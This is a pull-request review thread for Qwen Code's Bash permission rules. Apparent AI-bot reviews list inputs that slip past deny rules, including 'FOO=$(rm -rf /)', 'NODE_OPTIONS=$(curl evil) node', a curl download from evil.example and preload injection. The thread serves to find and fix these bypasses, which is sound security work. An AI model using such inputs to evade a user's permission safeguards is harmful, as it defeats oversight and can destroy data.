(The scratch build relaxes only the unrelated sdk-typescript browser-bundle size guard, which fails at this base due to main's own #10571 daemon-SDK changes; this PR doesn't touch the SDK.)

Live tmux TUI probes (bundled dist/cli.js, --approval-mode default, workspace .qwen/settings.json with allow: ["Bash(mkdir *)"], deny: ["Bash(touch *)"])

# Command issued by the agent Expected Observed
1 mkdir probe_plain allowed by Bash(mkdir *) → auto-run ✓ ran with no confirmation; probe_plain/ created
2 FOO=bar mkdir probe_env env prefix must NOT inherit Bash(mkdir *) → confirm ✓ confirmation dialog shown ("Allow execution of: 'mkdir'?"); not auto-run. The "Always allow" suggestion offered was FOO=bar mkdir * (prefix preserved), not mkdir *
3 FOO=1 touch probe_deny deny Bash(touch *) must still apply → denied ✓ denied outright: Tool "run_shell_command" is denied by permission rules. Matching deny rule: "Bash(touch *)"; probe_deny not created

Probe 2 is the headline property: the env-prefixed command does not inherit a bare allow rule, and the grant offered back to the user keeps the env prefix. Probe 3 shows the hardening does not narrow deny coverage.

Conclusion

The hardening behaves as designed end-to-end and only tightens allow decisions (any behavioral change is toward more prompts, never silent execution). No Critical blocking merge from my side. Not approving — per process this needs a maintainer/ci-bot approval plus green product-CI lanes (only automation lanes ran on this fork head).


中文摘要

在 head 463bcd0685 上做了独立代码审查 + 单元测试 + 基于 tmux 的真实 TUI e2e,未发现阻塞合并的 Critical。

  • 允许规则现在绑定完整命令身份(含环境变量前缀):Bash(npm install) 不再放行 NODE_OPTIONS=… npm install,方向单调更严格。
  • deny/ask 规则同时按"完整命令"和"剥离环境变量后的命令"双重匹配,限制类规则不会被环境变量前缀绕过;已核实 allow 分支未被加入该双重匹配。
  • "始终允许"生成的规则会保留环境变量前缀(FOO=bar npm install *)。
  • 单元测试 985 项全部通过(含新增 23 项环境变量前缀用例)。
  • 真实 TUI 三个探针:mkdir probe_plain 被 allow 规则直接放行(无弹窗);FOO=bar mkdir probe_env 触发确认弹窗且"始终允许"建议为 FOO=bar mkdir *FOO=1 touch probe_denyBash(touch *) deny 规则直接拒绝。

结论:端到端行为符合设计,只会更严格不会更宽松;本人不提交 approve(需 maintainer/ci-bot 批准且产品 CI 全绿)。

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

⚠️ Round 5, and the diff has grown 15.8x since this review first measured it (42 → 662 source diff lines). The findings below are anchored to the current patch, so they can only say where this approach leaks — never that a different approach would retire all of them at once. Before fixing them, a human should decide whether the shape of the change is still right. Advisory only: this does not affect the verdict, and nothing here is a blocker.

1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:

  • R3-4 identical ~15-line restrictiveCommand/restrictiveMatchArgs construction pasted into four permission-manager.ts methods — still stands — already reported (comment 3887899042)

Not reviewed: build-and-test (test phase) — the harness per-call budget cannot fit this repo's unconditional full-rebuild build phase plus any suite (deterministic wall, stamped informational by the harness); focused suites ran green separately at HEAD (permissions 877/877, env-prefix 25/25, shellAstParser 547/548 with one pre-existing bounded-time timing flake reproduced on the base commit).

Not reviewed: reverse audit — reached the reverse-audit round cap of 5 without converging (round 5 reported new findings).

Deferred under the convergence posture (round 5, not a blocker) — recorded, not requested in this round:

  • packages/core/src/permissions/rule-parser.env-prefix.test.ts:215 — [probe] no negative pin for env-prefixed concrete AUTO classification (re-derives round-4 deferred item at :216)
  • packages/core/src/permissions/rule-parser.ts:1409 — [probe] quote asymmetry between the two normalization arms (fail-closed usability)
  • packages/core/src/permissions/dangerousRules.ts:174 — [probe] assignment-only allow rules classified dangerous and stripped in AUTO mode

Convergence: round 5 posted 3 inline comment(s), 3 of them reported for the first time; the previous round posted 5 (5 new). Findings keep coming back to the same files: packages/core/src/permissions/rule-parser.ts (findings in rounds 1, 3, 4; 3 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)

中文说明

仅完成部分审查,审查缺口已披露。

⚠️ 第 5 轮,且自本审查首次测量以来 diff 已增长 15.8 倍(源码 diff 行数 42 → 662)。下方的发现都锚定在当前这版补丁上,因此它们只能指出这个方案在哪里漏了,而无法说明换一个方案就能一次性消除全部问题。在动手修复之前,应由人来判断这次改动的整体形态是否仍然正确。仅供参考:本段不影响判定结论,其中也没有任何阻断项。

本轮确认的 1 条建议级发现已在 PR 上报告过,不再重复发布(列表见上方英文部分)。

未审查:build-and-test (test phase) — the harness per-call budget cannot fit this repo's unconditional full-rebuild build phase plus any suite (deterministic wall, stamped informational by the harness); focused suites ran green separately at HEAD (permissions 877/877, env-prefix 25/25, shellAstParser 547/548 with one pre-existing bounded-time timing flake reproduced on the base commit)。

未审查:reverse audit — reached the reverse-audit round cap of 5 without converging (round 5 reported new findings)。

收敛姿态下延后(第 5 轮,非阻断)——已记录,本轮不要求修改:共 3 条(原文未翻译,列表见上方英文部分)。

收敛情况:第 5 轮发布了 3 条行内评论,其中 3 条是首次提出;上一轮发布了 5 条(其中 5 条首次提出)。发现反复回到同一批文件:packages/core/src/permissions/rule-parser.ts(第 1、3、4 轮已出过发现,本轮又有 3 条)。一个不断再生兄弟发现的簇,通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因,或把独立的簇拆成单独的 PR,通常比逐条修复更快结束循环。(仅为观察——本轮评审未因此扣留任何内容。)

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +1040 to +1043
// Unquoted assignment-value wildcards may vary, but never consume the
// next shell word and thereby change the command identity.
regex += escapeRegex(literalBefore);
regex += '[^ ]*';

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R5-1: [certifies-falsely] [regression] The hand-rolled scanner / regex-builder pair this class of finding keeps returning to (R1-8, R1-10, R2-7, R2-8, R3-1, R3-2) diverges from bash word semantics again — seven executed entrances this round, all in the env-prefix identity model this PR introduces. The matcher compiles a regex from raw rule text while bash parses words, and five consecutive rounds of patching one entrance at a time have each produced the next sibling. This round's entrances, each probe-verified end-to-end at HEAD with a bash oracle and A/B against the merge base: (1) a wildcard that completes the NAME of a leading assignment word is never classified and falls into the unbounded generic branch — matchesCommandPattern('git*', 'gitFOO=1 sh /tmp/payload.sh') = true and bash executes the payload (base resolves 'ask'); (2) the env-prefix normalization arm keeps # comment text while the tokenized arm drops it, so deny Bash(FOO=* npm test) is evaded by the bash-identical FOO=1 npm test # x (ask/allow instead of deny); (3) the grant generator embeds assignment values verbatim — Always-Allow on NODE_OPTIONS=* npm install persists a rule that then auto-approves NODE_OPTIONS=--require=/tmp/preload.cjs npm install, the #10192 preload class this PR exists to close; (4) tree-sitter accepts subscripted assignments that ENV_ASSIGNMENT_REGEX rejects — Always-Allow on FOO[0]=* npm install persists a rule that auto-approves FOO[0]=x rm -rf ~ npm install; (5) the bounded [^ ]* value wildcard consumes executable substitution text — allow Bash(FOO=* ls) auto-approves FOO=$(id) ls, the backtick variant, and FOO=<(id) ls (all base false); (6) a backslash-escaped * in an assignment value bypasses classification into the unbounded branch — matchesCommandPattern('FOO=\* npm install', 'FOO=\x rm -rf ~ npm install') = true (base false); (7) backslash-escaped IFS whitespace merges words for bash but not for the matcher — with a persisted allow Bash(FOO=* ls *), the command FOO=x\ ls curl http://evil.example -o /tmp/p resolves 'allow' while bash parses FOO=x\ ls as ONE assignment word and executes curl (base false).

Witness:

PR arm (unmodified HEAD):
 mcp('FOO=* ls *','FOO=x\ ls curl …')=true, pm.evaluate='allow'
 mcp('git*','gitFOO=1 sh /tmp/payload.sh')=true, evaluate='allow'
 mcp('FOO=\* npm install','FOO=\x rm -rf ~ npm install')=true
 mcp('FOO=* ls','FOO=$(id) ls')=true; backtick and <(…) variants true
 deny Bash(FOO=* npm test) vs 'FOO=1 npm test # x' -> 'allow' (with Bash(*)) / 'ask' (deny-only)
BASE arm: false for (1),(5),(6),(7) — identities stripped before matching
bash oracle: 'FOO=x\ ls sh -c "echo EXECUTED_NOT_ls"' -> EXECUTED_NOT_ls, FOO_IS=[x ls]
             'FOO=x\ git status' -> status: command not found (bash ran status, not git)
flip: classifying escaped stars / word-internal escaped whitespace turns the probes
      false/'ask' with 689/689 existing tests still green

Please stop closing this class entrance by entrance — derive the match from the shared authoritative tokenization both sides already use (permissionMatchTokens/shell-quote on the matcher side, tree-sitter on the extraction side), e.g. token-level glob matching instead of compiling a regex from raw pattern text. As immediate containment: the generator must not emit wildcard semantics from user data — when an approved command's assignment value contains an unquoted *, omit that assignment from the qualified root or refuse the prefixed grant; classify every star in a leading word while leadingAssignments holds (escaped, name-completing, and subscripted forms) so none reaches the generic branch; give the collapse arm bash comment semantics (an unquoted word-start # drops the rest of the line) and treat backslash-escaped IFS whitespace as word-internal on both sides. Any fix must keep Bash(ls*) matching both ls -la and lsof (rule-parser.ts docstring; pinned by permission-manager.test.ts:368-369 and :417-419), and keep NODE_OPTIONS=* npm * matching NODE_OPTIONS=--require=*evil.cjs npm --version for hand-written rules (rule-parser.env-prefix.test.ts 'keeps glob-valued env assignments intact'). Add per-entrance pins — matchesCommandPattern('FOO=* ls *','FOO=x\ ls curl evil')===false, ('git*','gitFOO=1 sh payload')===false, ('FOO=\* npm install','FOO=\x rm -rf ~ npm install')===false, ('FOO=* ls','FOO=$(id) ls')===false, and deny Bash(FOO=* npm test) resolving FOO=1 npm test # x to 'deny'; removing the structural change (or any containment arm) must turn the corresponding assertions red.

中文说明

这一类发现反复出现的根源——手工扫描器/正则构建器组合(此前已有 R1-8、R1-10、R2-7、R2-8、R3-1、R3-2)再次与 bash 词语语义分歧——本轮有 7 个已实测的入口,全部位于本 PR 引入的带环境前缀身份模型中。matcher 从原始规则文本编译正则,而 bash 按词解析,连续五轮逐个入口修补,每一轮都产生下一个兄弟形态。本轮各入口均已在 HEAD 上通过 bash 作为外部语义裁判、并与合并基线 A/B 对照做了端到端实测:(1) 完成前置赋值词"名称"的通配符不会被分类,落入无界通用分支——matchesCommandPattern('git*', 'gitFOO=1 sh /tmp/payload.sh') = true,bash 实际执行载荷(base 解析为 'ask');(2) 环境前缀规范化分支保留 # comment 文本,而分词分支会丢弃——与 FOO=1 npm test bash 等价的 FOO=1 npm test # x 可绕过 deny Bash(FOO=* npm test)(得到 ask/allow 而非 deny);(3) 授权生成器逐字嵌入赋值值——对 NODE_OPTIONS=* npm install 执行"始终允许"会持久化一条随后自动批准 NODE_OPTIONS=--require=/tmp/preload.cjs npm install 的规则,即本 PR 本应闭合的 #10192 preload 类别;(4) tree-sitter 接受 ENV_ASSIGNMENT_REGEX 拒绝的数组下标赋值——对 FOO[0]=* npm install 的"始终允许"会持久化一条自动批准 FOO[0]=x rm -rf ~ npm install 的规则;(5) 受限的 [^ ]* 赋值值通配符会吞入可执行的替换文本——allow Bash(FOO=* ls) 会自动批准 FOO=$(id) ls、反引号变体与 FOO=<(id) ls(base 全为 false);(6) 赋值值中反斜杠转义的 * 绕过分类落入无界分支——matchesCommandPattern('FOO=\* npm install', 'FOO=\x rm -rf ~ npm install') = true(base 为 false);(7) 反斜杠转义的 IFS 空白在 bash 中合并为单词、在 matcher 中却不合并——持久化 allow Bash(FOO=* ls *) 后,命令 FOO=x\ ls curl http://evil.example -o /tmp/p 解析为 'allow',而 bash 把 FOO=x\ ls 解析为单个赋值词并执行 curl(base 为 false)。

请停止逐入口闭合该类问题——请从双侧已在使用的共享权威分词派生匹配(matcher 侧为 permissionMatchTokens/shell-quote,提取侧为 tree-sitter),例如分词级 glob 匹配,而不是从原始规则文本编译正则。作为即时加固:生成器不得从用户数据产生通配符语义——当被批准命令的赋值值包含未加引号的 * 时,从限定根中省略该赋值或拒绝生成带前缀授权;在 leadingAssignments 成立期间对前置词中的每个星号做分类(转义、补全名称、下标形态),使其不落入通用分支;给折叠分支加上 bash 注释语义(未加引号的词首 # 丢弃行尾),并在双侧把反斜杠转义的 IFS 空白视为词内字符。任何修复必须保持 Bash(ls*) 同时匹配 ls -lalsof(rule-parser.ts 文档注释;由 permission-manager.test.ts:368-369 与 :417-419 固化),并保持手写规则中 NODE_OPTIONS=* npm * 匹配 NODE_OPTIONS=--require=*evil.cjs npm --version(rule-parser.env-prefix.test.ts 'keeps glob-valued env assignments intact')。请补充逐入口固化——matchesCommandPattern('FOO=* ls *','FOO=x\ ls curl evil')===false('git*','gitFOO=1 sh payload')===false('FOO=\* npm install','FOO=\x rm -rf ~ npm install')===false('FOO=* ls','FOO=$(id) ls')===false,以及 deny Bash(FOO=* npm test)FOO=1 npm test # x 解析为 'deny';移除该结构性修改(或任一加固分支)后对应断言必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +1032 to +1036
if (assignmentValueWildcards.literal.has(starIdx)) {
// A wildcard written inside quotes or shell substitution in a leading
// assignment is shell syntax, not a permission wildcard. Matching it
// literally prevents the rule from authorizing different executable
// substitution text.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R5-2: The literal classification of * inside $()/quotes in a leading assignment value is applied unconditionally in a matcher shared by allow AND deny rules, and for deny rules it fails open. matchesCommandPattern('FOO=$(*) ls', 'FOO=$(id) ls') is false on the full identity (the literal \* cannot match id), and the restrictive stripped identity is ( id ) ls (shell-quote splits FOO=$(id) into FOO=$, (, id, )), which also cannot match — so an admin deny Bash(NODE_OPTIONS=$(*) node) written to block substitution-based preload injection can never fire, and NODE_OPTIONS=$(curl evil) node resolves to 'allow' under a Bash(*) allow, verified end-to-end. This is not a base regression (base stripped the prefix and missed the shape too), but it contradicts this PR's own invariant that the new allow hardening can never narrow a restriction (rule-parser.ts:1240-1243). Thread the rule class (restrictive vs allow) into matchesCommandPattern and apply the substitution-interior literal classification only on the allow path; on the deny/ask path leave such * as generic/bounded so restrictions do not silently die. Any fix must keep 'does not generalize wildcards inside env command substitutions' green (FILES=$(ls *.txt) npm run * vs FILES=$(ls $(curl evil.sh).txt) npm run build stays false). Add an assertion that the deny-mode evaluation of FOO=$(*) ls matches FOO=$(id) ls and resolves 'deny'; reapplying the literal classification to the deny path must turn it red.

Witness:

PR arm (unmodified HEAD):
 mcp('FOO=$(*) ls','FOO=$(id) ls')=false
 stripLeadingVariableAssignments('FOO=$(id) ls')='( id ) ls'
 shell-quote parse('FOO=$(id) ls')=["FOO=$",{op:'('},'id',{op:')'},'ls']
 pm.evaluate(allow=['Bash(*)'], deny=['Bash(NODE_OPTIONS=$(*) node)'],
             cmd='NODE_OPTIONS=$(curl evil) node')='allow'
BASE arm: same false / same mangling — not a regression
中文说明

前置赋值值中 $()/引号内的 * 的字面量化分类在 allow 与 deny 规则共享的 matcher 中是无条件应用的,对 deny 规则而言是开放失败。matchesCommandPattern('FOO=$(*) ls', 'FOO=$(id) ls') 在完整身份上为 false(字面 \* 无法匹配 id),而限制性去前缀身份是 ( id ) ls(shell-quote 把 FOO=$(id) 拆成 FOO=$(id)),同样无法匹配——因此管理员为阻断替换型 preload 注入而写的 deny Bash(NODE_OPTIONS=$(*) node) 永远不会命中,NODE_OPTIONS=$(curl evil) nodeBash(*) allow 下解析为 'allow'(已端到端实测)。这不是相对基线的回归(基线剥离前缀后同样失配),但它与本 PR 自身"新的 allow 加固永不收窄限制"的不变量相矛盾(rule-parser.ts:1240-1243)。请把规则类别(限制性 vs allow)传入 matchesCommandPattern,仅在 allow 路径上应用替换内部字面量化分类;在 deny/ask 路径上让此类 * 保持通用/受限语义,使限制性规则不会静默失效。任何修复必须保持 'does not generalize wildcards inside env command substitutions' 为绿(FILES=$(ls *.txt) npm run *FILES=$(ls $(curl evil.sh).txt) npm run build 保持 false)。请补充断言:deny 模式下 FOO=$(*) ls 匹配 FOO=$(id) ls 且解析为 'deny';把字面量化分类重新应用到 deny 路径后该断言必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +416 to +418
// Legacy `:*` is token syntax; never rewrite env assignment values.
rawSpecifier = rawSpecifier.replace(
/(^|[ \t\n])([^ \t\n]+):\*(?=$|[ \t\n])/g,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R5-3: The round-5 token-scoped legacy :* rewrite only fires when :* ends a token (the (?=$|[ \t\n]) lookahead), but the merge base's global rewrite also covered shapes where more pattern text follows :* in the same token. Those shapes are no longer rewritten: parseRule('Bash(curl:*.evil.com)') keeps curl:*.evil.com (regex ^curl:.*\.evil\.com$, requires a literal curl: command prefix) instead of base's curl *.evil.com, so a hand-written legacy deny rule Bash(curl:*.evil.com) that caught curl http://x.evil.com at base matches nothing at HEAD — a deny-direction loss, silently disabled (probe: base eval 'deny', HEAD eval 'allow' under a broad allow, findMatchingDenyRule undefined); git:** is the same shape (base git ** vs HEAD git:**). Reachability is low — the deprecated tool:* syntax with extra pattern text inside one token can only occur in hand-written rules — which is why this is a Suggestion despite the direction. The R1-2 fixes stay green either way (--registry=https://x:* rewrites, FOO=a:* preserved). Widen the rewrite's trigger to the mid-token legacy shapes as well (rewrite :* wherever it appears in a non-assignment token, keeping the env-assignment-value exemption), or document the deprecated-syntax scope loss; either way the FOO=a:* and --registry pins must stay green. Add an assertion that parseRule('Bash(curl:*.evil.com)').specifier is 'curl *.evil.com' (or the documented behavior you choose); reverting to the lookahead-only trigger must turn it red.

Witness:

BASE: spec_curl_evil='curl *.evil.com' mcp=true eval_deny='deny'
      findDenyRule='Bash(curl:*.evil.com)'; spec_git_starstar='git **'
PR:   spec_curl_evil='curl:*.evil.com' mcp=false eval_deny='allow'
      findDenyRule=undefined; spec_git_starstar='git:**'
Constraints green on PR arm: parseRule('Bash(git:*)').specifier==='git *';
parseRule('Bash(npm --registry=https://x:*)').specifier==='npm --registry=https://x *'
中文说明

round-5 的分词受限遗留 :* 重写只在 :* 位于分词末尾时触发((?=$|[ \t\n]) 前瞻),但合并基线的全局重写还覆盖了 :* 后面同一分词内仍有更多规则文本的形态。这些形态不再被重写:parseRule('Bash(curl:*.evil.com)') 保留 curl:*.evil.com(正则 ^curl:.*\.evil\.com$,要求字面 curl: 命令前缀),而基线为 curl *.evil.com,因此一条在基线能拦截 curl http://x.evil.com 的手写遗留 deny 规则 Bash(curl:*.evil.com) 在 HEAD 上什么都匹配不到——deny 方向的覆盖被静默禁用(实测:base 求值 'deny',HEAD 在宽 allow 下求值 'allow',findMatchingDenyRule 为 undefined);git:** 属同一形态(基线 git ** vs HEAD git:**)。可达性很低——带额外规则文本于同一分词内的废弃 tool:* 语法只能出现在手写规则中——因此尽管方向是 deny,仍按建议级提交。无论如何,R1-2 的两项固化保持为绿(--registry=https://x:* 被重写、FOO=a:* 被保留)。请把重写触发条件扩展到分词中间的遗留形态(在非赋值分词中任意位置的 :* 都重写,保留对赋值值的豁免),或者明确记录该废弃语法的作用域损失;无论哪种方式,FOO=a:*--registry 的固化必须保持为绿。请补充断言 parseRule('Bash(curl:*.evil.com)').specifier'curl *.evil.com'(或你选择并记录的行为);退回仅前瞻的触发条件后该断言必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

⚠️ Round 6, and the diff has grown 21.5x since this review first measured it (42 → 902 source diff lines). The findings below are anchored to the current patch, so they can only say where this approach leaks — never that a different approach would retire all of them at once. Before fixing them, a human should decide whether the shape of the change is still right. Advisory only: this does not affect the verdict, and nothing here is a blocker.

1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:

  • D6-4 assignment-only allow rules classified dangerous and stripped in AUTO mode (dangerousRules.ts:174) — already reported in round 5's deferred list (review 5069564938)

Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5 (round 5 reported new findings).

Not reviewed: build-and-test (test phase) — packages/core full suite timed out at its 540s deadline on two attempts (infrastructure on this runner, not a diff defect); focused suites ran green separately at HEAD (permissions 443/443, env-prefix 29/29, dangerousRules+permission-manager 524, shellAstParser 25/25).

Deferred under the convergence posture (round 6, not a blocker) — recorded, not requested in this round:

  • packages/core/src/permissions/rule-parser.ts:1026 — [probe] matchesCommandPattern's caller contract note deleted while docstring point 3 claims the opposite
  • packages/core/src/permissions/permission-manager.ts:132 — [probe] no test pins the !strippedSpecifier guard on assignment-only restrictive rules
  • packages/core/src/permissions/permission-manager.ts:132 — [probe] restrictive fallback guard does not reject a stripping-produced '*' specifier

Convergence: round 6 posted 1 inline comment(s), 1 of them reported for the first time; the previous round posted 3 (3 new). Findings keep coming back to the same files: packages/core/src/permissions/rule-parser.ts (findings in round 5; 1 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)

Mechanism health: this round did not close cleanly, so it withholds the incremental anchor — and the round it recovered had no anchor this round could use either — none at all, one with no certifier, one certified by an identity other than the one this round runs under, or one this round's fetch refused or resolved to the head — so the next review re-reads the whole diff unless recovery grafts an earlier own anchor that the round running it can use onto the complete work list this round leaves behind, and keeps doing so until a round's marker carries an anchor again or a graft lands that the round running it can use. (Stated, not acted on — this changes nothing about what the round posts.)

中文说明

仅完成部分审查,审查缺口已披露。

⚠️ 第 6 轮,且自本审查首次测量以来 diff 已增长 21.5 倍(源码 diff 行数 42 → 902)。下方的发现都锚定在当前这版补丁上,因此它们只能指出这个方案在哪里漏了,而无法说明换一个方案就能一次性消除全部问题。在动手修复之前,应由人来判断这次改动的整体形态是否仍然正确。仅供参考:本段不影响判定结论,其中也没有任何阻断项。

本轮确认的 1 条建议级发现已在 PR 上报告过,不再重复发布(列表见上方英文部分)。

未审查:reverse audit — did not converge within the reverse-audit round cap of 5 (round 5 reported new findings)。

未审查:build-and-test (test phase) — packages/core full suite timed out at its 540s deadline on two attempts (infrastructure on this runner, not a diff defect); focused suites ran green separately at HEAD (permissions 443/443, env-prefix 29/29, dangerousRules+permission-manager 524, shellAstParser 25/25)。

收敛姿态下延后(第 6 轮,非阻断)——已记录,本轮不要求修改:共 3 条(原文未翻译,列表见上方英文部分)。

收敛情况:第 6 轮发布了 1 条行内评论,其中 1 条是首次提出;上一轮发布了 3 条(其中 3 条首次提出)。发现反复回到同一批文件:packages/core/src/permissions/rule-parser.ts(第 5 轮已出过发现,本轮又有 1 条)。一个不断再生兄弟发现的簇,通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因,或把独立的簇拆成单独的 PR,通常比逐条修复更快结束循环。(仅为观察——本轮评审未因此扣留任何内容。)

机制健康:本轮未能干净收尾,因而扣留了增量锚点,而它恢复到的那一轮也没有留下本轮可用的锚点——要么完全没有、要么没有认证者、要么由本轮运行身份之外的身份认证、要么被本轮的获取拒绝或解析为头提交——因此下一次评审将重读整个 diff,除非恢复流程把本轮能使用的更早自有锚点嫁接到本轮留下的完整工作清单上;并会一直如此,直到某一轮的标记重新带上锚点,或落地的嫁接能被运行该轮的评审使用。(仅陈述,不据此行动——这不改变本轮发布的任何内容。)

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +1171 to +1172
export const ENV_ASSIGNMENT_REGEX =
/^[A-Za-z_][A-Za-z0-9_]*(?:\[[^\]\r\n]*\])?\+?=/;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R5-1: (fix-induced) [certifies-falsely] [regression] The hand-rolled shell-word scanner / regex-builder pair this class of finding keeps returning to was wholly rewritten by the round-5 fix commits, and the rewrite produces seven NEW fail-open entrances of the same class: executable Bash text is misclassified as strippable assignment data and discarded from the restrictive (deny/ask) legacy identity, violating this diff's own documented invariants ("tightening allow-rule identity can never make deny/ask fail open"; "executable text cannot be mistaken for assignment data"). Round 5 filed this surface as unbounded (R5-1); this round confirms it — entrance-by-entrance patching has not converged across three consecutive fix rounds. The seven entrances, each probe/A-B/real-bash verified at this commit (illustrative config: deny Bash(*rm*) or Bash(rm -rf *), allow Bash(*)): (1) $(...)/backtick substitution in an assignment value — FOO=$(rm -rf /) resolves 'ask', and 'allow' with an allow Bash(*) (base: 'deny'). (2) Quoted/escaped assignment names — "FOO"=1 rm -rf /, F"OO"=1 rm -rf /, \FOO=1 rm -rf / resolve 'allow' (base: 'deny'); ENV_ASSIGNMENT_REGEX does not recognize quoted names, hasRelevantRules returns false and PM is skipped entirely. (3) Process substitution — FOO=<(rm -rf /) ls, FOO=>(rm -rf /) ls, FOO=2>(rm -rf /) ls resolve 'allow' (bash executes the inner command — marker-verified; the base fails identically, but this diff's own docblock forbids the direction). (4) Missing ANSI-C $'...' quote state — FOO=$'a\'b' rm -rf / resolves 'allow' (base: 'deny'): the escaped quote closes the region early and the whole command is swallowed as one assignment word. (5) Compound operator splitting a substitution — FOO=$(rm -rf /;echo x) ls and FOO=$(rm -rf /||echo x) ls resolve 'allow' (base: 'deny'): splitCompoundCommandSegments cuts inside the substitution and the unterminated fragment is stripped whole. (6) Array-assignment value — FOO=(a b) rm -rf / resolves 'allow' (bash executes the trailing command — marker-verified; base fails identically): a bare ( is an ordinary word character, so the word breaks mid-value at FOO=(a. (7) Subscript substitution — FOO[$(rm -rf /)]=x resolves 'allow' (base: 'deny'): the newly added subscript alternative strips a word whose subscript Bash executes at assignment time. Without an allow rule every case demotes a configured deny to 'ask'; in auto-approve modes the denied command executes.

Witness:

PR arm (da1a3058a, probes): 7/7 entrances -> allow/ask,
  findMatchingDenyRule=undefined, hasMatchingAskRule=false
BASE arm (3a0c4c61, same probes): entrances 1,2,4,5,7 -> deny (9/9 green)
real bash 5.2: FOO=(a b) touch marker -> exit 0, marker created;
  FOO[$(touch m)]=x -> marker created; >(rm ...) inner command ran
scratch-tree flips: candidate fixes restore deny for each
  (553/553 pinned tests stay green)

Fix direction: stop enumerating entrances — close the surface structurally. On the restrictive path, classify leading words with a real parser (shell-quote tokenization or an equivalent authoritative source), or at minimum fail closed: do not strip an assignment word that contains an unquoted $(...), backtick, <(...)/>(...) substitution, an array value (= followed balanced parens), or a subscript containing a substitution, and do not strip a word whose scan ends inside an unclosed region — retain the executable text in the remainder, in a form shared by BOTH the rule-specifier and command sides. Additionally: make name detection quote/escape-aware on the restrictive path only, add an escape-aware $'...' state to the skippers, and reject a stripping-produced * specifier in the fallback guard.

Fix constraint: rule-parser.env-prefix.test.ts:215-222 pins deny Bash(NODE_OPTIONS=$(*) node) vs NODE_OPTIONS=$(curl evil) node -> 'deny', which relies on substitution-bearing assignment words still being stripped on BOTH sides — a blanket "never strip a word containing $(" turns it red, so retention must use a form both sides share; :145 pins matchesCommandPattern('FOO=* ls', 'FOO=$(id) ls') === false; :47 pins matchesCommandPattern('npm', 'FOO=bar npm --version') === false; permission-manager.ts:76-77 — assignment-only restrictive rules deliberately have no stripped fallback, and the fix must not give them one.

Fix acceptance: one manager-level test per entrance, each red on revert of its fix — with deny Bash(*rm*)/Bash(rm -rf *) + allow Bash(*), evaluate of FOO=$(rm -rf /), "FOO"=1 rm -rf /, FOO=<(rm -rf /) ls, FOO=$'a\'b' rm -rf /, FOO=$(rm -rf /;echo x) ls, FOO=(a b) rm -rf /, and FOO[$(rm -rf /)]=x must each resolve to 'deny' (all resolve allow/ask today).

中文说明

持续产生此类发现的手写 shell 单词扫描器 / 正则构造器对已被 round-5 的修复提交整体重写,但重写后又产生了同一类的 7 个新的开放失败入口:Bash 实际会执行的可执行文本被误分类为可剥离的赋值数据,从限制性(deny/ask)遗留身份中丢弃,违反本 diff 自身文档承诺("收紧 allow 身份永不让 deny/ask 开放失败"、"可执行文本不会被误当作赋值数据")。R5-1 在 round 5 已将此表面定性为无界;本轮证实了这一点——逐入口修补在连续三个修复轮中均未收敛。7 个入口均已在本提交上经探针/A-B 基线/真实 bash 验证(示意配置:deny Bash(*rm*)Bash(rm -rf *),allow Bash(*)):(1) 赋值值内 $(...)/反引号替换——FOO=$(rm -rf /) 解析 'ask',配 Bash(*) allow 时 → 'allow'(base:'deny');(2) 引号/转义赋值名——"FOO"=1 rm -rf /F"OO"=1 rm -rf /\FOO=1 rm -rf / → 'allow'(base:'deny'),ENV_ASSIGNMENT_REGEX 不识别引号名称,hasRelevantRules 返回 false 导致 PM 被整体跳过;(3) 进程替换——FOO=<(rm -rf /) lsFOO=>(rm -rf /) lsFOO=2>(rm -rf /) ls → 'allow'(bash 确实执行内部命令,标记文件已验证;base 同样失败,但本 diff 的 docblock 承诺不允许该方向);(4) 缺失 ANSI-C $'...' 引号状态——FOO=$'a\'b' rm -rf / → 'allow'(base:'deny'):转义引号提前闭合区域,整个命令被吞为一个赋值单词;(5) 复合运算符拆断替换——FOO=$(rm -rf /;echo x) lsFOO=$(rm -rf /||echo x) ls → 'allow'(base:'deny'):splitCompoundCommandSegments 在替换内部拆分,未闭合片段被整体剥离;(6) 数组赋值值——FOO=(a b) rm -rf / → 'allow'(bash 确实执行尾随命令,标记文件已验证;base 同样失败):裸 ( 被当作普通单词字符,单词在 FOO=(a 处中断;(7) 下标替换——FOO[$(rm -rf /)]=x → 'allow'(base:'deny'):新增的下标分支把 bash 在赋值时即执行的下标替换整体剥离。无 allow 规则时上述情形均把已配置的 deny 降级为 'ask';自动批准模式下被拒绝的命令直接执行。

